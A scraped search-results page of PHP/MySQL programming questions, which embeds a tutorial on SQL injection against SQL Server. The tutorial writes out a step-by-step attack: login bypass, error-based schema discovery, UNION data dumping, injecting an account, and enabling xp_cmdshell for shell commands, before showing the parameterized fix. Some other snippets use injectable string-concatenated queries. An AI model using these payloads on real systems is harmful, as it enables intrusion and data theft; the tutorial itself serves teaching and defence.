Search Results

Search found 40581 results on 1624 pages for 'mysql select db'.

Page 433/1624 | < Previous Page | 429 430 431 432 433 434 435 436 437 438 439 440  | Next Page >

  • Which route should i take for web hosting?

    - by Undermine2k
    Hi I am setting up a small website sort of like an online portfolio. I made the mistake of signing up for shared-web hosting before asking if they supported stored procedures which took me half the day to figure out they didn't. Basically i'm looking for a site that offers me PHP5.4+/ Mysql 5.5 + with support for triggers/stored procedures/ and if possible MyphpAdmin 3.5.1. I also have a domain name I already registered and which I would like to use. What is my best option to look for hosting provider which offers this functionality or to setup a VPS?

    Read the article

  • PHP Try and Catch for SQL Insert

    - by meme
    I have a page on my website (high traffic) that does an insert on every page load. I am curious of the fastest and safest way to (catch an error) and continue if the system is not able to do the insert into MySQL. Should I use try/catch or die or something else. I want to make sure the insert happens but if for some reason it can't I want the page to continue to load anyway. ... $db = mysql_select_db('mobile', $conn); mysql_query("INSERT INTO redirects SET ua_string = '$ua_string'") or die('Error #10'); mysql_close($conn); ...

    Read the article

  • stuck with creating rent table

    - by From.ME.to.YOU
    i want to create a php with mysql to do the following: lets say that i have a shop i want to rent, rent will be weekly or monthly. I'm searching for the best way to create this table, so i can do easy queries to calculate free weeks or months. EDIT let say i have ID, START_DATE,RENING_TYPE,CLIENT_ID where Start_date is the start date for renting, and RENTING_TYPE is weekly or monthly how should i run a query to know all the empty weeks or month so new clients may reserve that week/month for example a client reserve July month another client reserve the first week in June, if a new client logged in to my system and want to check all the available weeks/months, how can i achieve that ?

    Read the article

  • php, OOP dosent allow me to fetch multilingual content?

    - by user3138823
    i have written bellow class for my database connection. class dbConnection { protected $dbLink; public $db_host = "127.0.0.1"; public $db_user = "root"; public $db_pass = ""; public $db_name = "answer"; function connect() { try { $dbLink = new PDO('mysql:host='.$this->db_host.';dbname='.$this->db_name, $this->db_user, $this->db_pass); return $dbLink; } catch (PDOException $e) { return $e->getMessage(); } } } but in my databse i have multilingual content ( collection type = utf8_general_ci ). when i try to fetch data it returns ???? instead of real data. please can any one tell me how can i improve my class to work with multilingual contents. Thanks.

    Read the article

  • How to copy tables from one website to another with php?

    - by Lost_in_code
    I have 2 websites, lets say - example.com and example1.com example.com has a database fruits which has a table apple with 7000 records. I exported apple and tried to import it to example1.com but I'm always getting "MYSQL Server has gone away" error. I suspect this is due to some server side restriction. So, how can I copy the tables without having to contact the system admins? Is there a way to do this using PHP? I went through example of copying tables, but that was inside the same database. Both example.com and example1.com are on the same server.

    Read the article

  • How to speed up a query?

    - by Soroush Khosravi
    I have a table that every request to the server, stores on it. For each request I will check that it is banned or not. For example it is a query: select * from requests where request_sessID = '4bc0331d983000902b4718c80f12e9b3' AND request_time > (UNIX_TIMESTAMP() - 3600) AND request_isEnable = 1 I also set the engine from InnoDB to MyISAM and row_format to Dynamic but nothing changed. My Hardware is very strong but it took about a minute to execute ! I am a programmer and newbie to mysql How can Speed Up this query? Thanks in Advance

    Read the article

  • Android camera to take multiple photos

    - by user2975407
    problem.java public class problem extends Activity { ImageView iv; @Override protected void onCreate(Bundle savedInstanceState) { // TODO Auto-generated method stub super.onCreate(savedInstanceState); setContentView(R.layout.problem); iv=(ImageView) findViewById(R.id.imageView1); Button b=(Button) findViewById(R.id.button1); b.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { Intent intent=new Intent(android.provider.MediaStore.ACTION_IMAGE_CAPTURE); startActivityForResult(intent, 0); } }); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { // TODO Auto-generated method stub super.onActivityResult(requestCode, resultCode, data); Bitmap bm=(Bitmap) data.getExtras().get("data"); iv.setImageBitmap(bm); } } From this code I can only take one photo and it displayed in the screen. **But I want to take more photos nearly 5 photos and display in the screen** Further I want to add these photos to MySQL database.please help me to do that.I am new to android

    Read the article

  • Remove seconds from the TIME function?

    - by user1876032
    Okay so have a database that uses the time functions for a list of events and then displays the data as: echo "<b>Time Frame:"; echo "$time_start"; echo "&nbsp;-&nbsp;"; echo "$time_end"; Although that displays the time as 11:00:00 if i want the time to be 11:00 am. Is there anyway to make this time display as a standard "11:00"? and also if in the mysql datababse enter it as military time (ex. 13:00) to make it display 1:00pm? I have tried many things. Please help. http://pastebin.com/kaTZzGrx

    Read the article

  • Rails: User specific sequential column

    - by Alex Marchant
    I have an inventory system, where a User has many inventory. We have a barcode column which needs to be sequential for each user. I run into a problem however when doing bulk association building. I end up getting several inventories for a user with the same barcode. For example: Inventory Table: id | user_id | barcode 1 | 1 | 1 2 | 1 | 2 3 | 2 | 1 4 | 2 | 2 5 | 1 | 3 In the Inventory model I have before_validation :assign_barcode, on: :create def assign_barcode self.barcode = (user.inventories.order(barcode: :desc).first.try(:barcode) || 0) + 1 end It generally works, but ran into a problem when seeding my db: (1..5).each do user.inventories.build(...) end user.save I end up with a bunch of inventories for user that have the same barcode. How can I ensure that inventories have unique barcodes even when adding inventories in bulk?

    Read the article

  • how to filter in sql

    - by user3634746
    good day i have a database containing time in and time out and i want to filter all the record of the employees time in and time out. here is my sample db using php and mysql PersonalId LogCount LogDate LogType LogKind 2 1 2014-04-09 12:42:24 0 0 2 1 2014-04-10 12:43:53 1 0 2 1 2014-04-11 02:17:39 0 0 2 2 2014-04-09 12:42:48 1 0 3 2 2014-04-10 12:44:14 0 0 3 2 2014-04-11 02:48:54 1 0 3 3 2014-04-09 12:43:23 0 0 3 3 2014-04-09 12:43:23 1 0 0 in log type is =login 1 in log type is =login this will be the format emp id IN OUT HOURS 2 6/2/2014 8:15 6/2/2014 17:00 7.25 2 6/2/2014 8:15 6/2/2014 17:00 7.25 thanks for your help

    Read the article

  • LIKE and % Wildcard in Doctrine's findBy*()

    - by 01010011
    Hi, How do I write the following MySQL query using Doctrine's findBy*() method?: SELECT column_name1, column_name2 FROM table_name WHERE column_name3 LIKE '%search_key%'; For Example, to fetch multiple rows from a column named "ColumnName" (below) using Doctrine: $users = Doctrine::getTable('User')->findByColumnName('active'); echo $users[0]->username; echo $users[1]->username; I tried: $search_key = 'some value'; $users = Doctrine::getTable('User')->findByColumnName('%$search_key%'); echo $users[0]->username; echo $users[1]->username; and I got no errors, but nothing displayed. Any assistance will be really appreciated. Thanks in advance.

    Read the article

  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

    Read the article

  • Puppet : How to override / redefine outside child class (usecase and example detailled)

    - by alex8657
    The use case i try to illustrate is when to declare some item (eq mysqld service) with a default configuration that could be included on every node (class stripdown in the example, for basenode), and still be able to override this same item in some specific class (eg mysql::server), to be included by specific nodes (eg myserver.local) I illustrated this use case with the example below, where i want to disable mysql service on all nodes, but activate it on a specific node. But of course, Puppet parsing fails because the Service[mysql] is included twice. And of course, class mysql::server bears no relation to be a child of class stripdown Is there a way to override the Service["mysql"], or mark it as the main one, or whatever ? I was thinking about the virtual items and the realize function, but it only permits apply an item multiple times, not to redefine or override. # In stripdown.pp : class stripdown { service {"mysql": enable => "false", ensure => "stopped" } } # In mysql.pp : class mysql::server { service { mysqld: enable => true, ensure => running, hasrestart => true, hasstatus => true, path => "/etc/init.d/mysql", require => Package["mysql-server"], } } # Then nodes in nodes.pp : node basenode { include stripdown } node myserver.local inherits basenode { include mysql::server` # BOOM, fails here because of Service["mysql"] redefinition }

    Read the article

  • Des failles zero-day découvertes dans MySQL, pouvant entraîner un crash du SGBD ou bloquer l'accès aux utilisateurs

    Des failles zero-day découvertes dans MySQL pouvant entraîner un crash du SGBD ou bloquer l'accès aux utilisateurs Des chercheurs en sécurité viennent de découvrir plusieurs vulnérabilités critiques zero-day dans le gestionnaire de bases de données MySQL. Identifiées au nombre de cinq initialement, c'est finalement trois failles qui se sont avérées être importantes. Les vulnérabilités peuvent être exploitées par des pirates pour bloquer l'accès au SGBD à des utilisateurs et dans une certaine mesure, entrainer même un crash de MySQL. Les failles de sécurité répertoriées sous les références allant de CVE-2012-5611 à 5615, sont décrites comme pouvant entrainer des dépas...

    Read the article

  • Missing Password check

    - by AAA
    I am using the code below, it checks for empty fields and verifies email, but even if the password is correct it won't login. the password has been inserted with md5 protection, below is the code. I am new to this so please bare with me. Thanks! PHP: session_start(); //Checks if there is a login cookie if(isset($_COOKIE['ID_my_site'])) //if there is, it logs you in and directes you to the members page { $email = $_COOKIE['ID_my_site']; $pass = $_COOKIE['Key_my_site']; $check = mysql_query("SELECT * FROM accounts WHERE email = '$email'")or die(mysql_error()); while($info = mysql_fetch_array( $check )) { if ($pass != $info['password']) { } else { header("Location: home.php"); } } } //if the login form is submitted if (isset($_POST['submit'])) { // if form has been submitted // makes sure they filled it in if(!$_POST['email'] | !$_POST['password']) { die('You did not fill in a required field.'); } // checks it against the database if (!get_magic_quotes_gpc()) { $_POST['email'] = addslashes($_POST['email']); } $check = mysql_query("SELECT * FROM accounts WHERE email = '".$_POST['email']."'")or die(mysql_error()); //Gives error if user dosen't exist $check2 = mysql_num_rows($check); if ($check2 == 0) { die('That user does not exist in our database. <a href=add.php>Click Here to Register</a>'); } while($info = mysql_fetch_array( $check )) { $_POST['password'] = stripslashes($_POST['password']); $info['password'] = stripslashes($info['password']); $_POST['password'] = md5($_POST['password']); //gives error if the password is wrong if ($_POST['password'] != $info['password']) { die('Incorrect password, please try again.'); } else { // if login is ok then we add a cookie $_POST['email'] = stripslashes($_POST['email']); $hour = time() + 3600; setcookie(ID_my_site, $_POST['email'], $hour); setcookie(Key_my_site, $_POST['password'], $hour); //then redirect them to the members area header("Location: home.php"); } } } else { // if they are not logged in <form action="<?php echo $_SERVER['PHP_SELF']?>" method="post"> <table border="0"> <tr><td colspan=2><h1>Login</h1></td></tr> <tr><td>email:</td><td> <input type="text" name="email" maxlength="40"> </td></tr> <tr><td>Password:</td><td> <input type="password" name="password" maxlength="50"> </td></tr> <tr><td colspan="2" align="right"> <input type="submit" name="submit" value="Login"> </td></tr> </table> </form> } Here is the registration code: PHP: // here we encrypt the password and add slashes if needed $_POST['password'] = md5($_POST['password']); if (!get_magic_quotes_gpc()) { $_POST['password'] = mysql_escape_string($_POST['password']); $_POST['email'] = mysql_escape_string($_POST['email']); $_POST['full_name'] = mysql_escape_string($_POST['full_name']); $_POST['user_url'] = mysql_escape_string($_POST['user_url']); } // now we insert it into the database $insert = "INSERT INTO accounts (Uniquer, Full_name, Email, Password, User_url) VALUES ('".$uniquer."','".$_POST['full_name']."', '".$_POST['email']."','".$_POST['password']."', '".$_POST['user_url']."')"; $add_member = mysql_query($insert); After using ini_set function i got to see the error, i am getting this message but not sure what it means: Notice: Undefined index: password in /var/www/domain.com/htdocs/login.php on line 103 Notice: Use of undefined constant password - assumed 'password' in /var/www/domain.com/htdocs/login.php on line 11

    Read the article

  • Struts2 example, not inserting records in mysql database because connection object is getting null

    - by Jugal
    This Code is working fine with simple application so the drivers are fine. so why the connection object is not able to initialise with drivers. import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.sql.Statement; import com.opensymphony.xwork2.ActionSupport; public class Insert extends ActionSupport { public String execute() throws Exception, SQLException { String sql = ""; String url = "jdbc:mysql://localhost:3306/test"; //String dbName = "test"; String driverName = "org.gjt.mm.mysql.Driver"; String userName = "root"; String password = "root"; Connection con=null; Statement stmt=null; try { Class.forName(driverName).newInstance(); con = DriverManager.getConnection(url, userName, password); stmt = con.createStatement(); } catch (Exception e) { System.out.println(e.getMessage()); } }

    Read the article

  • Front End Developer v/s PHP-MySQL Engineer

    - by user301943
    Hello, I want to decide which of this would be a more viable career option? I am ready to quit my current job and hence I am looking for new opportunity. Current job is maintainence and no more active development. My current role is of a PHP/MySQL Developer. I very well understand web-programming and am comfortable with RoR/Sinatra/Zend MVC/JQuery/JSON manipulation, etc. I understand MySQL InnoDB/MyISAM engine and how one differs from the other, etc. Basically, I could very well manage the deployment of a web-application end-to-end including configuration of Apache/Nginx servers, memcache,etc On the other hand, I am being offered a Sr.Front End Web developer that would require me to extensively write HTML/CSS crossbrowser/crossplatform compliant code. I very well understand XHTML/CSS/Box model etc. I would be working on Drupal for the management of websites. While I understand continuing to work on server-side technologies would always be a good career path, how would the role of Core front-end developer turn out to be? If I take this opportunity, will I eventually get a chance to focus onto UCD, HCI, Information Architect,etc. So are these kinda roles possible if I focus on front end development? No offenses to the Front end developers, just want to understand if this is something I want to gain a mastery over. I have 2 yrs of industry experience after graduating with a MS-Computer Science. Although, I have a CS degree, if I were to take uip serious front-end role; I could probably go back and take up some design/HCI/UI courses. Please advise.

    Read the article

  • How to echo if field is not found?

    - by Fahad
    Hi I'm trying to figure out how to echo back if the value entered does not match when a database lookup is done. I'm using ajax to run the request and php to do the lookup ajax.js: function showResult(str) { if (str=="") { document.getElementById("description").innerHTML=""; return; } if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("description").innerHTML=xmlhttp.responseText; } } xmlhttp.open("GET","getuser.php?voucher="+str,true); xmlhttp.send(null); } and getuser.php: <?php $q=$_GET["voucher"]; $con = mysql_connect('localhost', 'root', ''); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("test", $con); $sql="SELECT * FROM redemption WHERE voucher = '".$q."'"; $result = mysql_query($sql); echo "<table> <tr> <th>Name</th> <th>Product</th> <th>Address</th> <th>Status</th> </tr>"; while($row = mysql_fetch_array($result)) { echo "<tr>"; echo "<td>" . $row['name'] . "</td>"; echo "<td>" . $row['product'] . "</td>"; echo "<td>" . $row['address'] ." ".$row['city'] ." ".$row['province'] ." ".$row['postal'] . "</td>"; echo "<td>" . $row['status'] . "</td>"; echo "</tr>"; } echo "</table>"; mysql_close($con); ?> What I would like to do is that once the person enters an invalid or a voucher number that is not found I would like to return an error that "Voucher number is not found". There is also a column in the db that stores the status such as "redeemed" or "not redeemed". How could I check for both whether the voucher number exists and if it has already been redeemed? I assume it'd have to be a syntax such as $sql="SELECT * FROM redemption WHERE voucher = '".$q."'" AND status = 'not redeemed' and then use an else or case statement perhaps? Thanks in advance

    Read the article

  • mysql-python stopped working

    - by MAC
    This is a rather dumb question but i'am looking at a bizarre situation. I am running fedora and have python 2.6.5 installed. The other day i installed MySQL-python using yum (because i do not have the setuptools module so i cannot build it from source). Anyway yesterday i wrote my entire data access layer in python and it was running fine, i did test it. Today however it gives me an ImportError: No module named MySQLdb The only thing i ever changed was i installed eclipse and pyDev. Any ideas on what went wrong and how i fix it. I tried removing and re-installing MySql-python but that did not help. I did the following import sys print sys.path And it shows me all the paths which are basically pertaining to /usr/local/lib/python2.6 However i was trying to find where the MySQLdb module is installed and it seems that its installed in /usr/lib/python2.5/sitepackages Now i have no idea why it got installed there and why it was working earlier and why it stopped working now. Any ideas on how i should fix it. I did try copying the site-packages folder over to the python2.6 folder but that did not work Help!!

    Read the article

  • encrypt apache and mysql servers

    - by stormdrain
    I have a question about encrypting disks. I have 2 servers: 1 is apache for web/frontend and it talks to server 2 which is mysql. They are all for intranet only; no external access. I was looking into using PGP or GnuPG to encrypt the disks. I'm not clear, though, as to exactly how this would work. Where would the keys be stored? On the client? On apache? If there is a key on apache to access mysql, does there need to be a key for each user? If so, if key 1 is used to alter some data, would then that data be inaccessible to a user using key 2? And the apache key, would that only be accessible to users with local keys? Is encryption done on the fly? Does it degrade performance? What would be the best approach to encrypt the data on these servers, but have them accessible to users? Thanks!

    Read the article

  • How to get data from other php scripts

    - by user225269
    I have 2 files, one is used to view the data in the mysql database, and list it on a table: if($_POST['general'] == 'ADDRESS'){ $result2 = mysql_query("SELECT * FROM student WHERE ADDRESS='$saddress'"); echo "<table border='1'> <tr> <th>IDNO</th> <th>ADDRESS</th> <th>LASTNAME</th> <th>FIRSTNAME</th> <th>VIEW</th> </tr>"; while($row = mysql_fetch_array($result2)) { echo "<tr>"; echo "<td>" . $row['IDNO'] . "</td>"; echo "<td>" . $row['ADDRESS'] . "</td>"; echo "<td>" . $row['LASTNAME'] . "</td>"; echo "<td>" . $row['FIRSTNAME'] . "</td>"; echo "<td><a href='update.php?id=" . $row['IDNO'] . "'>view</a></td>"; echo "</tr>"; } echo "</table>"; } And this one is the update.php which I am working on, I just want to be able to see the data that corresponds to the one the record that I clicked on the first one using the link "view". <?php mysql_select_db("school", $con); $result3 = mysql_query("SELECT * FROM student WHERE IDNO='?'"); ?> <tr> <td width="30" height="35"><font size="3">*I D Number:</td> <td width="30"><input name="idnum" onkeypress="return isNumberKey(event)" type="text" maxlength="5" id='numbers'/ value="<?php echo $row["IDNO"]; ?>"></td> </tr> But I do not know how do I link the two, in such a way that the corresponding data in here: echo "<td><a href='update.php?id=" . $row['IDNO'] . "'>view</a></td>"; would be reflected in here: <td width="30"><input name="idnum" onkeypress="return isNumberKey(event)" type="text" maxlength="5" id='numbers'/ value="<?php echo $row["IDNO"]; ?>"></td> </tr> Please give me an idea on how I can do this, thanks.

    Read the article

  • Adding to database with multiple text boxes

    - by kira423
    What I am trying to do with this script is allow users to update a url for their websites, and since each user isn't going to have the same amount of websites is is hard for me to just add $_POST['website'] for each of these. Here is the script <?php include("config.php"); include("header.php"); include("functions.php"); if(!isset($_SESSION['username']) && !isset($_SESSION['password'])){ header("Location: pubs.php"); } $getmember = mysql_query("SELECT * FROM `publishers` WHERE username = '".$_SESSION['username']."'"); $info = mysql_fetch_array($getmember); $getsites = mysql_query("SELECT * FROM `websites` WHERE publisher = '".$info['username']."'"); $postback = $_POST['website']; $webname = $_POST['webid']; if($_POST['submit']){ var_dump( $_POST['website'] ); $update = mysql_query("UPDATE `websites` SET `postback` = '$postback' WHERE name = '$webname'"); } print" <div id='center'> <span id='tools_lander'><a href='export.php'>Export Campaigns</a></span> <div id='calendar_holder'> <h3>Please define a postback for each of your websites below. The following variables should be used when creating your postback.<br /> cid = Campaign ID<br /> sid = Sub ID<br /> rate = Campaign Rate<br /> status = Status of Lead. 1 means payable 2 mean reversed<br /> A sample postback URL would be <br /> http://www.example.com/postback.php?cid=#cid&sid=#sid&rate=#rate&status=#status</h3> <table class='balances' align='center'> <form method='POST' action=''>"; while($website = mysql_fetch_array($getsites)){ print" <tr> <input type ='hidden' name='webid' value='".$website['id']."' /> <td style='font-weight:bold;'>".$website['name']."'s Postback:</td> <td><input type='text' style='width:400px;' name='website[]' value='".$website['postback']."' /></td> </tr>"; } print" <td style='float:right;position:relative;left:150px;'><input type='submit' name='submit' style='font-size:15px;height:30px;width:100px;' value='Submit' /></td> </form> </table> </div>"; include("footer.php"); ?> What I am attempting to do insert the what is inputted in the text boxes to their corresponding websites, and I cannot think of any other way to do it, and this obviously does not works and returns a notice stating Array to string conversion If there is a more logical way to do this please let me know.

    Read the article

  • PHP: table structure

    - by A3efan
    I'm developing a website that has some audio courses, each course can have multiple lessons. I want to display each course in its own table with its different lessons. This is my sql statement: Table: courses id, title Table: lessons id, cid (course id), title, date, file $sql = "SELECT lessons.*, courses.title AS course FROM lessons INNER JOIN courses ON courses.id = lessons.cid GROUP BY lessons.id ORDER BY lessons.id" ; Can someone help me with the PHP code? This is the I code I have written: mysql_select_db($database_config, $config); mysql_query("set names utf8"); $sql = "SELECT lessons.*, courses.title AS course FROM lessons INNER JOIN courses ON courses.id = lessons.cid GROUP BY lessons.id ORDER BY lessons.id" ; $result = mysql_query($sql) or die(mysql_error()); while ($row = mysql_fetch_assoc($result)) { echo "<p><span class='heading1'>" . $row['course'] . "</span> </p> "; echo "<p class='datum'>Posted onder <a href='*'>*</a>, latest update on " . strftime("%A %d %B %Y %H:%M", strtotime($row['date'])); } echo "</p>"; echo "<class id='text'>"; echo "<p>...</p>"; echo "<table border: none cellpadding='1' cellspacing='1'>"; echo "<tr>"; echo "<th>Nr.</th>"; echo "<th width='450'>Lesso</th>"; echo "<th>Date</th>"; echo "<th>Download</th>"; echo "</tr>"; echo "<tr>"; echo "<td>" . $row['nr'] . "</td>"; echo "<td>" . $row['title'] . "</td>"; echo "<td>" . strftime("%d/%m/%Y", strtotime($row['date'])) . "</td>"; echo "<td><a href='audio/" . rawurlencode($row['file']) . "'>MP3</a></td>"; echo "</tr>"; echo "</table>"; echo "<br>"; } ?>

    Read the article

  • Having a problem displaying data from last inserted data

